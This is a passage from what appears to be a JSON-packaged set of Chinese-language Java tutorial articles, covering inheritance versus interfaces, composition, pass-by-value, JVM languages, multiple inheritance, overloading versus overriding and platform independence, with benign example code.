    "content": "前面的章节我们提到过面向对象有三个特征：封装、继承、多态。前面我们分别介绍过了这三个特性。\n\n我们知道，继承可以使用现有类的所有功能，并在无需重新编写原来的类的情况下对这些功能进行扩展。这种派生方式体现了*传递性*。\n\n在Java中，除了继承，还有一种体现传递性的方式叫做实现。那么，这两者方式有什么区别呢？\n\n继承和实现两者的明确定义和区别如下：\n\n继承（Inheritance）：如果多个类的某个部分的功能相同，那么可以抽象出一个类出来，把他们的相同部分都放到父类里，让他们都继承这个类。\n\n实现（Implement）：如果多个类处理的目标是一样的，但是处理的方法方式不同，那么就定义一个接口，也就是一个标准，让他们的实现这个接口，各自实现自己具体的处理方法来处理那个目标\n\n继承指的是一个类（称为子类、子接口）继承另外的一个类（称为父类、父接口）的功能，并可以增加它自己的新功能的能力。所以，继承的根本原因是因为要*复用*，而实现的根本原因是需要定义一个*标准*。\n \n在Java中，继承使用`extends`关键字实现，而实现通过`implements`关键字。\n\n >简单点说，就是同样是一台汽车，既可以是电动车，也可以是汽油车，也可以是油电混合的，只要实现不同的标准就行了，但是一台车只能属于一个品牌，一个厂商。\n \n ```\n class Car extends Benz implements GasolineCar, ElectroCar{\n \n }\n\n```\n\n以上，我们定义了一辆汽车，他实现了电动车和汽油车两个标准，但是他属于奔驰这个品牌。像上面这样定义，我们可以最大程度的遵守标准，并且复用奔驰车所有已有的一些功能组件。\n\n另外，在接口中只能定义全局常量（static final）和无实现的方法（Java 8以后可以有default方法）；而在继承中可以定义属性方法，变量，常量等。\n\n*特别需要注意的是，Java中支持一个类同时实现多个接口，但是不支持同时继承多个类。* 但是这个问题在Java 8之后也不绝对了。关于多继承的问题，我们下一个章节中介绍。"
  },
  {
    "path": "docs/basics/object-oriented/inheritance-composition.md",
    "content": "在前面几篇文章中，我们了解了封装、继承、多态是面向对象的三个特征。并且通过对继承和实现的学习，了解到继承可以帮助我实现类的复用。\n\n所以，很多开发人员在需要复用一些代码的时候会很自然的使用类的继承的方式。\n\n但是，遇到想要复用的场景就直接使用继承，这样做是不对的。长期大量的使用继承会给代码带来很高的维护成本。\n\n本文将介绍一种可以帮助我们复用的新的概念——组合，通过学习组合和继承的概念及区别，并从多方面帮大家分析在写代码时如何进行选择。\n\n## 面向对象的复用技术\n\n前面提到复用，这里就简单介绍一下面向对象的复用技术。\n\n复用性是面向对象技术带来的很棒的潜在好处之一。如果运用的好的话可以帮助我们节省很多开发时间，提升开发效率。但是，如果被滥用那么就可能产生很多难以维护的代码。\n\n作为一门面向对象开发的语言，代码复用是Java引人注意的功能之一。Java代码的复用有继承，组合以及代理三种具体的表现形式。本文将重点介绍继承复用和组合复用。\n\n## 继承\n\n前面的章节中重点介绍过继承，我们说继承是类与类或者接口与接口之间最常见的一种关系；继承是一种[`is-a`][1]关系。\n\n> is-a：表示\"是一个\"的关系，如狗是一个动物\n\n![Inheritance][2]\n\n## 组合\n\n组合(Composition)体现的是整体与部分、拥有的关系，即[`has-a`][3]的关系。\n\n> has-a：表示\"有一个\"的关系，如狗有一个尾巴\n\n![Composition][4]\n\n## 组合与继承的区别和联系\n\n> 在`继承`结构中，父类的内部细节对于子类是可见的。所以我们通常也可以说通过继承的代码复用是一种`白盒式代码复用`。（如果基类的实现发生改变，那么派生类的实现也将随之改变。这样就导致了子类行为的不可预知性；）\n> \n> `组合`是通过对现有的对象进行拼装（组合）产生新的、更复杂的功能。因为在对象之间，各自的内部细节是不可见的，所以我们也说这种方式的代码复用是`黑盒式代码复用`。（因为组合中一般都定义一个类型，所以在编译期根本不知道具体会调用哪个实现类的方法）\n> \n> `继承`，在写代码的时候就要指名具体继承哪个类，所以，在`编译期`就确定了关系。（从基类继承来的实现是无法在运行期动态改变的，因此降低了应用的灵活性。）\n> \n> `组合`，在写代码的时候可以采用面向接口编程。所以，类的组合关系一般在`运行期`确定。\n\n## 优缺点对比\n\n| 组 合 关 系                          | 继 承 关 系                                |\n| -------------------------------- | -------------------------------------- |\n| 优点：不破坏封装，整体类与局部类之间松耦合，彼此相对独立     | 缺点：破坏封装，子类与父类之间紧密耦合，子类依赖于父类的实现，子类缺乏独立性 |\n| 优点：具有较好的可扩展性                     | 缺点：支持扩展，但是往往以增加系统结构的复杂度为代价             |\n| 优点：支持动态组合。在运行时，整体对象可以选择不同类型的局部对象 | 缺点：不支持动态继承。在运行时，子类无法选择不同的父类            |\n| 优点：整体类可以对局部类进行包装，封装局部类的接口，提供新的接口 | 缺点：子类不能改变父类的接口                         |\n| 缺点：整体类不能自动获得和局部类同样的接口            | 优点：子类能自动继承父类的接口                        |\n| 缺点：创建整体类的对象时，需要创建所有局部类的对象        | 优点：创建子类的对象时，无须创建父类的对象                  |\n\n## 如何选择\n\n相信很多人都知道面向对象中有一个比较重要的原则『多用组合、少用继承』或者说『组合优于继承』。从前面的介绍已经优缺点对比中也可以看出，组合确实比继承更加灵活，也更有助于代码维护。\n\n所以，\n\n> **`建议在同样可行的情况下，优先使用组合而不是继承。`**\n> \n> **`因为组合更安全，更简单，更灵活，更高效。`**\n\n注意，并不是说继承就一点用都没有了，前面说的是【在同样可行的情况下】。有一些场景还是需要使用继承的，或者是更适合使用继承。\n\n> 继承要慎用，其使用场合仅限于你确信使用该技术有效的情况。一个判断方法是，问一问自己是否需要从新类向基类进行向上转型。如果是必须的，则继承是必要的。反之则应该好好考虑是否需要继承。《[Java编程思想][5]》\n> \n> 只有当子类真正是超类的子类型时，才适合用继承。换句话说，对于两个类A和B，只有当两者之间确实存在[`is-a`][1]关系的时候，类B才应该继承类A。《[Effective Java][6]》\n\n [1]: https://zh.wikipedia.org/wiki/Is-a\n [2]: http://www.hollischuang.com/wp-content/uploads/2016/03/Generalization.jpg\n [3]: https://en.wikipedia.org/wiki/Has-a\n [4]: http://www.hollischuang.com/wp-content/uploads/2016/03/Composition.jpg\n [5]: http://s.click.taobao.com/t?e=m%3D2%26s%3DHzJzud6zOdocQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67vo5P8BMUBgoEC56fBbgyn5pS4hLH%2FP02ckKYNRBWOBBey11vvWwHXSniyi5vWXIZhtlrJbLMDAQihpQCXu2JnPFYKQlNeOGCsYMXU3NNCg%2F&pvid=10_125.119.86.125_222_1458652212179\n [6]: http://s.click.taobao.com/t?e=m%3D2%26s%3DwIPn8%2BNPqLwcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67vo5P8BMUBgoUOZr0mLjusdpS4hLH%2FP02ckKYNRBWOBBey11vvWwHXSniyi5vWXIZvgXwmdyquYbNLnO%2BjzYQLqKnzbV%2FMLqnMYMXU3NNCg%2F&pvid=10_125.119.86.125_345_1458652241780\n"
  },
  {
    "path": "docs/basics/object-oriented/java-pass-by.md",
    "content": "关于Java中方法间的参数传递到底是怎样的、为什么很多人说Java只有值传递等问题，一直困惑着很多人，甚至我在面试的时候问过很多有丰富经验的开发者，他们也很难解释的很清楚。\n\n我很久也写过一篇文章，我当时认为我把这件事说清楚了，但是，最近在整理这部分知识点的时候，我发现我当时理解的还不够透彻，于是我想着通过Google看看其他人怎么理解的，但是遗憾的是没有找到很好的资料可以说的很清楚。\n\n于是，我决定尝试着把这个话题总结一下，重新理解一下这个问题。\n\n### 辟谣时间\n\n关于这个问题，在StackOverflow上也引发过广泛的讨论，看来很多程序员对于这个问题的理解都不尽相同，甚至很多人理解的是错误的。还有的人可能知道Java中的参数传递是值传递，但是说不出来为什么。\n\n在开始深入讲解之前，有必要纠正一下大家以前的那些错误看法了。如果你有以下想法，那么你有必要好好阅读本文。\n\n> 错误理解一：值传递和引用传递，区分的条件是传递的内容，如果是个值，就是值传递。如果是个引用，就是引用传递。\n> \n> 错误理解二：Java是引用传递。\n> \n> 错误理解三：传递的参数如果是普通类型，那就是值传递，如果是对象，那就是引用传递。\n\n### 实参与形参\n\n我们都知道，在Java中定义方法的时候是可以定义参数的。比如Java中的main方法，`public static void main(String[] args)`，这里面的args就是参数。参数在程序语言中分为形式参数和实际参数。\n\n> 形式参数：是在定义函数名和函数体的时候使用的参数,目的是用来接收调用该函数时传入的参数。\n> \n> 实际参数：在调用有参函数时，主调函数和被调函数之间有数据传递关系。在主调函数中调用一个函数时，函数名后面括号中的参数称为“实际参数”。\n\n简单举个例子：\n\n    public static void main(String[] args) {\n      ParamTest pt = new ParamTest();\n      pt.sout(\"Hollis\");//实际参数为 Hollis\n    }\n    \n    public void sout(String name) { //形式参数为 name\n      System.out.println(name);\n    }\n    \n\n实际参数是调用有参方法的时候真正传递的内容，而形式参数是用于接收实参内容的参数。\n\n### 求值策略\n\n我们说当进行方法调用的时候，需要把实际参数传递给形式参数，那么传递的过程中到底传递的是什么东西呢？\n\n这其实是程序设计中**求值策略（Evaluation strategies）**的概念。\n\n在计算机科学中，求值策略是确定编程语言中表达式的求值的一组（通常确定性的）规则。求值策略定义何时和以何种顺序求值给函数的实际参数、什么时候把它们代换入函数、和代换以何种形式发生。\n\n求值策略分为两大基本类，基于如何处理给函数的实际参数，分位严格的和非严格的。\n\n#### 严格求值\n\n在“严格求值”中，函数调用过程中，给函数的实际参数总是在应用这个函数之前求值。多数现存编程语言对函数都使用严格求值。所以，我们本文只关注严格求值。\n\n在严格求值中有几个关键的求值策略是我们比较关心的，那就是**传值调用**（Call by value）、**传引用调用**（Call by reference）以及**传共享对象调用**（Call by sharing）。\n\n*   传值调用（值传递） \n    *   在传值调用中，实际参数先被求值，然后其值通过复制，被传递给被调函数的形式参数。因为形式参数拿到的只是一个\"局部拷贝\"，所以如果在被调函数中改变了形式参数的值，并不会改变实际参数的值。\n*   传引用调用（引用传递） \n    *   在传引用调用中，传递给函数的是它的实际参数的隐式引用而不是实参的拷贝。因为传递的是引用，所以，如果在被调函数中改变了形式参数的值，改变对于调用者来说是可见的。\n*   传共享对象调用（共享对象传递） \n    *   传共享对象调用中，先获取到实际参数的地址，然后将其复制，并把该地址的拷贝传递给被调函数的形式参数。因为参数的地址都指向同一个对象，所以我们称也之为\"传共享对象\"，所以，如果在被调函数中改变了形式参数的值，调用者是可以看到这种变化的。\n\n不知道大家有没有发现，其实传共享对象调用和传值调用的过程几乎是一样的，都是进行\"求值\"、\"拷贝\"、\"传递\"。你品，你细品。\n\n![][1]￼\n\n但是，传共享对象调用和内传引用调用的结果又是一样的，都是在被调函数中如果改变参数的内容，那么这种改变也会对调用者有影响。你再品，你再细品。\n\n那么，共享对象传递和值传递以及引用传递之间到底有很么关系呢？\n\n对于这个问题，我们应该关注过程，而不是结果，**因为传共享对象调用的过程和传值调用的过程是一样的，而且都有一步关键的操作，那就是\"复制\"，所以，通常我们认为传共享对象调用是传值调用的特例**\n\n我们先把传共享对象调用放在一边，我们再来回顾下传值调用和传引用调用的主要区别：\n\n**传值调用是指在调用函数时将实际参数`复制`一份传递到函数中，传引用调用是指在调用函数时将实际参数的引用`直接`传递到函数中。**\n\n![pass-by-reference-vs-pass-by-value-animation][2]￼\n\n所以，两者的最主要区别就是是直接传递的，还是传递的是一个副本。\n\n这里我们来举一个形象的例子。再来深入理解一下传值调用和传引用调用：\n\n你有一把钥匙，当你的朋友想要去你家的时候，如果你`直接`把你的钥匙给他了，这就是引用传递。\n\n这种情况下，如果他对这把钥匙做了什么事情，比如他在钥匙上刻下了自己名字，那么这把钥匙还给你的时候，你自己的钥匙上也会多出他刻的名字。\n\n你有一把钥匙，当你的朋友想要去你家的时候，你`复刻`了一把新钥匙给他，自己的还在自己手里，这就是值传递。\n\n这种情况下，他对这把钥匙做什么都不会影响你手里的这把钥匙。\n\n前面我们介绍过了传值调用、传引用调用以及传值调用的特例传共享对象调用，那么，Java中是采用的哪种求值策略呢？\n\n下一篇我们深入分析。\n\n\n [1]: http://www.hollischuang.com/wp-content/uploads/2020/04/15865905252659.jpg\n [2]: http://www.hollischuang.com/wp-content/uploads/2020/04/pass-by-reference-vs-pass-by-value-animation.gif"
  },
  {
    "path": "docs/basics/object-oriented/jvm-language.md",
    "content": "我们在《[深入分析Java的编译原理][1]》中提到过，为了让Java语言具有良好的跨平台能力，Java独具匠心的提供了一种可以在所有平台上都能使用的一种中间代码——字节码（ByteCode）。\n\n有了字节码，无论是哪种平台（如Windows、Linux等），只要安装了虚拟机，都可以直接运行字节码。\n\n同样，有了字节码，也解除了Java虚拟机和Java语言之间的耦合。这话可能很多人不理解，Java虚拟机不就是运行Java语言的么？这种解耦指的是什么？\n\n其实，目前Java虚拟机已经可以支持很多除Java语言以外的语言了，如Kotlin、Groovy、JRuby、Jython、Scala等。之所以可以支持，就是因为这些语言也可以被编译成字节码。而虚拟机并不关心字节码是有哪种语言编译而来的。\n\n经常使用IDE的开发者可能会发现，当我们在Intelij IDEA中，鼠标右键想要创建Java类的时候，IDE还会提示创建其他类型的文件，这就是IDE默认支持的一些可以运行在JVM上面的语言，没有提示的，可以通过插件来支持。\n\n<img src=\"https://www.hollischuang.com/wp-content/uploads/2018/11/languages.png\" />\n\n目前，可以直接在JVM上运行的语言有很多，今天介绍其中比较重要的九种。每种语言通过一段『HelloWorld』代码进行演示，看看不同语言的语法有何不同。\n\n### Kotlin\n\nKotlin是一种在Java虚拟机上运行的静态类型编程语言，它也可以被编译成为JavaScript源代码。Kotlin的设计初衷就是用来生产高性能要求的程序的，所以运行起来和Java也是不相上下。Kotlin可以从 JetBrains InteilliJ Idea IDE这个开发工具以插件形式使用。\n\n#### Hello World In Kotlin\n\n```kotlin\nfun main(args: Array<String>) {\n    println(\"Hello, world!\")\n}\n```\n\n### Groovy\n\nApache的Groovy是Java平台上设计的面向对象编程语言。它的语法风格与Java很像，Java程序员能够很快的熟练使用 Groovy，实际上，Groovy编译器是可以接受完全纯粹的Java语法格式的。\n\n使用Groovy的一个重要特点就是使用类型推断，即能够让编译器能够在程序员没有明确说明的时候推断出变量的类型。Groovy可以使用其他Java语言编写的库。Groovy的语法与Java非常相似，大多数Java代码也匹配Groovy的语法规则，尽管可能语义不同。\n\n#### Hello World In Groovy\n\n```groovy\nstatic void main(String[] args) {\n    println('Hello, world!');\n}\n```\n\n### Scala\n\nScala是一门多范式的编程语言，设计初衷是要集成面向对象编程和函数式编程的各种特性。\n\nScala经常被我们描述为多模式的编程语言，因为它混合了来自很多编程语言的元素的特征。但无论如何它本质上还是一个纯粹的面向对象语言。它相比传统编 程语言最大的优势就是提供了很好并行编程基础框架措施了。Scala代码能很好的被优化成字节码，运行起来和原生Java一样快。\n\n#### Hello World In Scala\n\n```scala\nobject HelloWorld {\n    def main(args: Array[String]) {\n       System.out.println(\"Hello, world!\");\n    }\n }\n```\n\n### Jruby\n\nJRuby是用来桥接Java与Ruby的，它是使用比Groovy更加简短的语法来编写代码，能够让每行代码执行更多的任务。就和Ruby一样，JRuby不仅仅只提供了高级的语法格式。它同样提供了纯粹的面向对象的实现，闭包等等，而且JRuby跟Ruby自身相比多了很多基于Java类库 可以调用，虽然Ruby也有很多类库，但是在数量以及广泛性上是无法跟Java标准类库相比的。\n\n#### Hello World In Jruby\n\n```ruby\nputs 'Hello, world!'\n```\n\n### Jython\n\nJython，是一个用Java语言写的Python解释器。Jython能够用Python语言来高效生成动态编译的Java字节码。\n\n#### Hello World In Jython\n\n```py\nprint \"Hello, world!\"\n```\n\n### Fantom\n\nFantom是一种通用的面向对象编程语言，由Brian和Andy Frank创建，运行在Java Runtime Environment，JavaScript和.NET Common Language Runtime上。其主要设计目标是提供标准库API，以抽象出代码是否最终将在JRE或CLR上运行的问题。\n\nFantom是与Groovy以及JRuby差不多的一样面向对 象的编程语言，但是悲剧的是Fantom无法使用Java类库，而是使用它自己扩展的类库。\n\n#### Hello World In Fantom\n\n```fantom\nclass Hello {\n    static Void main() { echo(\"Hello, world!\") }\n}\n```\n\n### Clojure\n\nClojure是Lisp编程语言在Java平台上的现代、函数式及动态方言。 与其他Lisp一样，Clojure视代码为数据且拥有一套Lisp宏系统。\n\n虽然Clojure也能被直接编译成Java字节码，但是无法使用动态语言特性以及直 接调用Java类库。与其他的JVM脚本语言不一样，Clojure并不算是面向对象的。\n\n#### Hello World In Clojure\n\n```clojure\n(defn -main [& args]\n    (println \"Hello, World!\"))\n```\n\n### Rhino\n\nRhino是一个完全以Java编写的JavaScript引擎，目前由Mozilla基金会所管理。\n\nRhino的特点是为JavaScript加了个壳，然后嵌入到Java中，这样能够让Java程序员直接使用。其中Rhino的JavaAdapters能够让JavaScript通过调用Java的类来实现特定的功能。\n\n#### Hello World In Rhino\n\n```js\nprint('Hello, world!')\n```\n\n### Ceylon\n\nCeylon是一种面向对象，强烈静态类型的编程语言，强调不变性，由Red Hat创建。 Ceylon程序在Java虚拟机上运行，​​可以编译为JavaScript。 语言设计侧重于源代码可读性，可预测性，可扩展性，模块性和元编程性。\n\n#### Hello World In Ceylon\n\n```ceylon\nshared void run() {\n    print(\"Hello, world!\");\n}\n```\n\n### 总结\n\n好啦，以上就是目前主流的可以在JVM上面运行的9种语言。加上Java正好10种。如果你是一个Java开发，那么有必要掌握以上9中的一种，这样可以在一些有特殊需求的场景中有更多的选择。推荐在Groovy、Scala、Kotlin中选一个。\n\n[1]: https://www.hollischuang.com/archives/2322\n"
  },
  {
    "path": "docs/basics/object-oriented/multiple-inheritance.md",
    "content": "前面我们提到过：\"Java中支持一个类同时实现多个接口，但是不支持同时继承多个类。但是这个问题在Java 8之后也不绝对了。\"\n\n那么，是不是又很很想知道，为什么Java中不支持同时继承多个类呢？\n### 多继承\n\n一个类，只有一个父类的情况，我们叫做单继承。而一个类，同时有多个父类的情况，叫做多继承。\n\n在Java中，一个类，只能通过extends关键字继承一个类，不允许多继承。但是，多继承在其他的面向对象语言中是有可能支持的。\n\n像C++就是支持多继承的，主要是因为编程的过程是对现实世界的一种抽象，而现实世界中，确实存在着需要多继承的情况。比如维基百科中关于多继承举了一个例子：\n                                                        \n例如，可以创造一个“哺乳类动物”类别，拥有进食、繁殖等的功能；然后定义一个子类型“猫”，它可以从父类继承上述功能。\n                                                        \n但是，\"猫\"还可以作为\"宠物\"的子类，拥有一些宠物独有的能力。\n\n所以，有些面向对象语言是支持多重继承的。\n\n但是，多年以来，多重继承一直都是一个敏感的话题，反对者指它增加了程序的复杂性与含糊性。\n\n### 菱形继承问题\n\n\n假设我们有类B和类C，它们都继承了相同的类A。另外我们还有类D，类D通过多重继承机制继承了类B和类C。\n\n![][1]￼\n\n这时候，因为D同时继承了B和C，并且B和C又同时继承了A，那么，D中就会因为多重继承，继承到两份来自A中的属性和方法。\n\n这时候，在使用D的时候，如果想要调用一个定义在A中的方法时，就会出现歧义。\n\n因为这样的继承关系的形状类似于菱形，因此这个问题被形象地称为菱形继承问题。\n\n而C++为了解决菱形继承问题，又引入了**虚继承**。\n\n因为支持多继承，引入了菱形继承问题，又因为要解决菱形继承问题，引入了虚继承。而经过分析，人们发现我们其实真正想要使用多继承的情况并不多。\n\n所以，在 Java 中，不允许“实现多继承”，即一个类不允许继承多个父类。但是 Java 允许“声明多继承”，即一个类可以实现多个接口，一个接口也可以继承多个父接口。由于接口只允许有方法声明而不允许有方法实现（Java 8以前），这就避免了 C++ 中多继承的歧义问题。\n\n\n但是，Java不支持多继承，在Java 8中支持了默认函数（default method ）之后就不那么绝对了。\n\n虽然我们还是没办法使用extends同时继承多个类，但是因为有了默认函数，我们有可能通过implements从多个接口中继承到多个默认函数，那么，又如何解决这种情况带来的菱形继承问题呢？\n\n这个问题，我们在后面第20.4章节中单独介绍。\n\n\n [1]: https://www.hollischuang.com/wp-content/uploads/2021/02/16145019571199.jpg"
  },
  {
    "path": "docs/basics/object-oriented/object-oriented-vs-procedure-oriented.md",
    "content": "相信很多Java开发者，在最初接触Java的时候就听说过，Java是一种面向对象的开发语言，那么什么是面向对象呢？\n\n首先，所谓面向对象，其实是指软件工程中的一类编程风格，很多人称呼他们为开发范式、编程泛型（Programming Paradigm）。面向对象是众多开发范式中的一种。除了面向对象以外，还有面向过程、指令式编程、函数式编程等。\n\n虽然这几年函数式编程越来越被人们所熟知，但是，在所有的开发范式中，我们接触最多的主要还是面向过程和面向对象两种。\n\n那么，在本书的第一章的第一篇，我们来简单介绍下，什么是面向过程和面向对象。\n\n\n### 什么是面向过程？\n\n面向过程(Procedure Oriented)是一种以过程为中心的编程思想，是一种自顶而下的编程模式。最典型的面向过程的编程语言就是C语言。\n\n简单来说，面向过程的开发范式中，程序员需要把问题分解成一个一个步骤，每个步骤用函数实现，依次调用即可。\n\n就是说，在进行面向过程编程的时候，不需要考虑那么多，上来先定义一个函数，然后使用各种诸如if-else、for-each等方式进行代码执行。最典型的用法就是实现一个简单的算法，比如实现冒泡排序。\n\n面向过程进行的软件开发，其代码都是流程化的，很明确的可以看出第一步做什么、第二步做什么。这种方式的代码执行起来效率很高。\n\n但是，面向过程同时存在着代码重用性低，扩展能力差，后期维护难度比较大等问题。\n\n\n### 什么是面向对象？\n\n面向对象（Object Oriented）的雏形，最早在出现在1960年的Simula语言中，当时的程序设计领域正面临着一种危机：在软硬件环境逐渐复杂的情况下，软件如何得到良好的维护？\n\n面向对象程序设计在某种程度上通过强调可重复性解决了这一问题。目前较为流行的面向对象语言主要有Java、C#、C++、Python、Ruby、PHP等。\n\n简单来说，面向对象的开发范式中，程序员将问题分解成一个一个步骤，对每个步骤进行相应的抽象，形成对象，通过不同对象之间的调用，组合解决问题。\n\n就是说，在进行面向对象进行编程的时候，要把属性、行为等封装成对象，然后基于这些对象及对象的能力进行业务逻辑的实现。比如:想要造一辆车，上来要先把车的各种属性定义出来，然后抽象成一个Car类。\n\n面向对象的编程方法之所以更加受欢迎，是因为他更加符合人类的思维方式。这种方式编写出来的代码扩展性、可维护性都很高。\n\n与其实面向对象是一种开发范式，倒不如说面向对象是一种对现实世界的理解和抽象的方法。通过对现实世界的理解和抽象，在运用封装、继承、多态等方法，通过抽象出对象的方式进行软件开发。\n\n什么是封装、继承、多态？具体如何运营面向对象的方式编写代码呢？接下来我们介绍下面向对象具有三大基本特征和五大基本原则。\n\n\n\n\n"
  },
  {
    "path": "docs/basics/object-oriented/overloading-vs-overriding.md",
    "content": "重载（Overloading）和重写（Overriding）是Java中两个比较重要的概念。但是对于新手来说也比较容易混淆，本文就举两个实际的例子，来说明下到底是什么是重写和重载。\n\n## 定义\n\n首先我们分别来看一下重载和重写的定义：\n\n重载：指的是在同一个类中，多个函数或者方法有同样的名称，但是参数列表不相同的情形，这样的同名不同参数的函数或者方法之间，互相称之为重载函数或者方法。\n\n重写：指的是在Java的子类与父类中有两个名称、参数列表都相同的方法的情况。由于他们具有相同的方法签名，所以子类中的新方法将覆盖父类中原有的方法。\n\n## 重载的例子\n\n    class Dog{\n        public void bark(){\n            System.out.println(\"woof \");\n        }\n    \n        //overloading method\n        public void bark(int num){\n            for(int i=0; i<num; i++)\n                System.out.println(\"woof \");\n        }\n    }\n    \n\n上面的代码中，定义了两个bark方法，一个是没有参数的bark方法，另外一个是包含一个int类型参数的bark方法。我们就可以说这两个方法是重载方法，因为他们的方法名相同，参数列表不同。\n\n在编译期，编译期可以根据方法签名（方法名和参数情况）情况确定具体哪个bark方法被调用。\n\n方法重载的条件需要具备以下条件和要求：\n\n1、被重载的方法必须改变参数列表；\n2、被重载的方法可以改变返回类型；\n3、被重载的方法可以改变访问修饰符；\n4、被重载的方法可以声明新的或更广的检查异常；\n5、方法能够在同一个类中或者在一个子类中被重载。\n\n## 重写的例子\n\n下面是一个重写的例子，看完代码之后不妨猜测一下输出结果：\n\n    class Dog{\n        public void bark(){\n            System.out.println(\"woof \");\n        }\n    }\n    class Hound extends Dog{\n        public void sniff(){\n            System.out.println(\"sniff \");\n        }\n    \n        public void bark(){\n            System.out.println(\"bowl\");\n        }\n    }\n    \n    public class OverridingTest{\n        public static void main(String [] args){\n            Dog dog = new Hound();\n            dog.bark();\n        }\n    }\n    \n\n输出结果：\n\n    bowl\n    \n\n上面的例子中，我们分别在父类、子类中都定义了bark方法，并且他们都是无参方法，所以我们就说这种情况就是方法重写。即子类Hound重写了父类Gog中的bark方法。\n\n在测试的main方法中，`dog`对象被定义为`Dog`类型。\n\n在编译期，编译器会检查Dog类中是否有可访问的`bark()`方法，只要其中包含`bark（）`方法，那么就可以编译通过。\n\n在运行期，`Hound`对象被`new`出来，并赋值给`dog`变量，这时，JVM是明确的知道`dog`变量指向的其实是`Hound`对象的引用。所以，当`dog`调用`bark()`方法的时候，就会调用`Hound`类中定义的`bark（）`方法。这就是所谓的动态多态性。\n\n方法重写的条件需要具备以下条件和要求：\n\n1、参数列表必须完全与被重写方法的相同；\n2、返回类型必须完全与被重写方法的返回类型相同；\n3、访问级别的限制性一定不能比被重写方法的强；\n4、访问级别的限制性可以比被重写方法的弱；\n5、重写方法一定不能抛出新的检查异常或比被重写的方法声明的检查异常更广泛的检查异常\n6、重写的方法能够抛出更少或更有限的异常（也就是说，被重写的方法声明了异常，但重写的方法可以什么也不声明）\n7、不能重写被标示为final的方法；\n8、如果不能继承一个方法，则不能重写这个方法。"
  },
  {
    "path": "docs/basics/object-oriented/platform-independent.md",
    "content": "相信对于很多Java开发来说，在刚刚接触Java语言的时候，就听说过Java是一门跨平台的语言，Java是平台无关性的，这也是Java语言可以迅速崛起并风光无限的一个重要原因。那么，到底什么是平台无关性？Java又是如何实现平台无关性的呢？本文就来简单介绍一下。\n\n### 什么是平台无关性\n\n平台无关性就是一种语言在计算机上的运行不受平台的约束，一次编译，到处执行（Write Once ,Run Anywhere）。\n\n也就是说，用Java创建的可执行二进制程序，能够不加改变的运行于多个平台。\n\n#### 平台无关性好处\n\n作为一门平台无关性语言，无论是在自身发展，还是对开发者的友好度上都是很突出的。\n\n因为其平台无关性，所以Java程序可以运行在各种各样的设备上，尤其是一些嵌入式设备，如打印机、扫描仪、传真机等。随着5G时代的来临，也会有更多的终端接入网络，相信平台无关性的Java也能做出一些贡献。\n\n对于Java开发者来说，Java减少了开发和部署到多个平台的成本和时间。真正的做到一次编译，到处运行。\n\n### 平台无关性的实现\n\n对于Java的平台无关性的支持，就像对安全性和网络移动性的支持一样，是分布在整个Java体系结构中的。其中扮演者重要的角色的有Java语言规范、Class文件、Java虚拟机（JVM）等。\n\n#### 编译原理基础\n\n讲到Java语言规范、Class文件、Java虚拟机就不得不提Java到底是是如何运行起来的。\n\n我们在[Java代码的编译与反编译那些事儿][1]中介绍过，在计算机世界中，计算机只认识0和1，所以，真正被计算机执行的其实是由0和1组成的二进制文件。\n\n但是，我们日常开发使用的C、C++、Java、Python等都属于高级语言，而非二进制语言。所以，想要让计算机认识我们写出来的Java代码，那就需要把他\"翻译\"成由0和1组成的二进制文件。这个过程就叫做编译。负责这一过程的处理的工具叫做编译器。\n\n在[深入分析Java的编译原理][2]中我们介绍过，在Java平台中，想要把Java文件，编译成二进制文件，需要经过两步编译，前端编译和后端编译：\n\n![][3]\n\n前端编译主要指与源语言有关但与目标机无关的部分。Java中，我们所熟知的`javac`的编译就是前端编译。除了这种以外，我们使用的很多IDE，如eclipse，idea等，都内置了前端编译器。主要功能就是把`.java`代码转换成`.class`代码。\n\n这里提到的`.class`代码，其实就是Class文件。\n\n后端编译主要是将中间代码再翻译成机器语言。Java中，这一步骤就是Java虚拟机来执行的。\n\n![][4]\n\n所以，我们说的，Java的平台无关性实现主要作用于以上阶段。如下图所示：\n\n![][5]\n\n我们从后往前介绍一下这三位主演：Java虚拟机、Class文件、Java语言规范\n\n**Java虚拟机**\n\n所谓平台无关性，就是说要能够做到可以在多个平台上都能无缝对接。但是，对于不同的平台，硬件和操作系统肯定都是不一样的。\n\n对于不同的硬件和操作系统，最主要的区别就是指令不同。比如同样执行a+b，A操作系统对应的二进制指令可能是10001000，而B操作系统对应的指令可能是11101110。那么，想要做到跨平台，最重要的就是可以根据对应的硬件和操作系统生成对应的二进制指令。\n\n而这一工作，主要由我们的Java虚拟机完成。虽然Java语言是平台无关的，但是JVM却是平台有关的，不同的操作系统上面要安装对应的JVM。\n\n![][6]\n\n上图是Oracle官网下载JDK的指引，不同的操作系统需要下载对应的Java虚拟机。\n\n有了Java虚拟机，想要执行a+b操作，A操作系统上面的虚拟机就会把指令翻译成10001000，B操作系统上面的虚拟机就会把指令翻译成11101110。\n\n![][7] ps：图中的Class文件中内容为mock内容\n\n所以，Java之所以可以做到跨平台，是因为Java虚拟机充当了桥梁。他扮演了运行时Java程序与其下的硬件和操作系统之间的缓冲角色。\n\n#### 字节码\n\n各种不同的平台的虚拟机都使用统一的程序存储格式——字节码（ByteCode）是构成平台无关性的另一个基石。Java虚拟机只与由字节码组成的Class文件进行交互。\n\n我们说Java语言可以Write Once ,Run Anywhere。这里的Write其实指的就是生成Class文件的过程。\n\n因为Java Class文件可以在任何平台创建，也可以被任何平台的Java虚拟机装载并执行，所以才有了Java的平台无关性。\n\n#### Java语言规范\n\n已经有了统一的Class文件，以及可以在不同平台上将Class文件翻译成对应的二进制文件的Java虚拟机，Java就可以彻底实现跨平台了吗？\n\n其实并不是的，Java语言在跨平台方面也是做了一些努力的，这些努力被定义在Java语言规范中。\n\n比如，Java中基本数据类型的值域和行为都是由其自己定义的。而C/C++中，基本数据类型是由它的占位宽度决定的，占位宽度则是由所在平台决定的。所以，在不同的平台中，对于同一个C++程序的编译结果会出现不同的行为。\n\n举一个简单的例子，对于int类型，在Java中，int占4个字节，这是固定的。\n\n但是在C++中却不是固定的了。在16位计算机上，int类型的长度可能为两字节；在32位计算机上，可能为4字节；当64位计算机流行起来后，int类型的长度可能会达到8字节。（这里说的都是可能哦！）\n\n![][8]\n\n通过保证基本数据类型在所有平台的一致性，Java语言为平台无关性提供强了有力的支持。\n\n### 小结\n\n对于Java的平台无关性的支持是分布在整个Java体系结构中的。其中扮演着重要角色的有Java语言规范、Class文件、Java虚拟机等。\n\n*   Java语言规范 \n    *   